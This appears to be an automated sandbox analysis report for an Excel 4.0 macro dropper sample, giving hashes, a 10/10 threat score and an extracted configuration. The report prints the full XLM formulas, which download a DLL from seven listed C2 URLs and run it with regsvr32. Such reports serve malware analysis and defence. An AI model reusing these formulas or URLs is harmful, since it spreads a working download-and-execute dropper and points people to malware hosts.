General

  • Target

    84896937e2e3df3bfe2aeac698488a3f85e038bf8a8012822314c96977c76bdb

  • Size

    21KB

  • Sample

    241111-wprc1atare

  • MD5

    944fc246536f2804ad7ec5e8239bb803

  • SHA1

    60e876ed8b3e3f20aea440575de6dfa4150c385a

  • SHA256

    84896937e2e3df3bfe2aeac698488a3f85e038bf8a8012822314c96977c76bdb

  • SHA512

    e7415fcc2172012b853e1b757c4ebc575adf82c9001c15864ba434d9c83cc10af70abb0fcb5b35bb835f95cbd34d7059957272255b2761d537db2e1cd05fadbf

  • SSDEEP

    384:uAuAi/NjNMS8EibbwBlw7SYrLb5CzgObff9kC+xbX75zSCCD:uosNRSzXnFCBn9kC+xbL5eH

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/

http://www.bmamone.com/88vKqPdoeC6c7mG/

http://bimbelui.com/ujianonline/qXg/

http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/

http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/

https://www.bovito.hu/modules/ihNZzatAdWd67ATz/

http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bmamone.com/88vKqPdoeC6c7mG/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bimbelui.com/ujianonline/qXg/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bovito.hu/modules/ihNZzatAdWd67ATz/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/

xlm40.dropper

http://www.bmamone.com/88vKqPdoeC6c7mG/

xlm40.dropper

http://bimbelui.com/ujianonline/qXg/

xlm40.dropper

http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/

xlm40.dropper

http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/

xlm40.dropper

https://www.bovito.hu/modules/ihNZzatAdWd67ATz/

xlm40.dropper

http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/

Targets

    • Target

      84896937e2e3df3bfe2aeac698488a3f85e038bf8a8012822314c96977c76bdb

    • Size

      21KB

    • MD5

      944fc246536f2804ad7ec5e8239bb803

    • SHA1

      60e876ed8b3e3f20aea440575de6dfa4150c385a

    • SHA256

      84896937e2e3df3bfe2aeac698488a3f85e038bf8a8012822314c96977c76bdb

    • SHA512

      e7415fcc2172012b853e1b757c4ebc575adf82c9001c15864ba434d9c83cc10af70abb0fcb5b35bb835f95cbd34d7059957272255b2761d537db2e1cd05fadbf

    • SSDEEP

      384:uAuAi/NjNMS8EibbwBlw7SYrLb5CzgObff9kC+xbX75zSCCD:uosNRSzXnFCBn9kC+xbL5eH

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks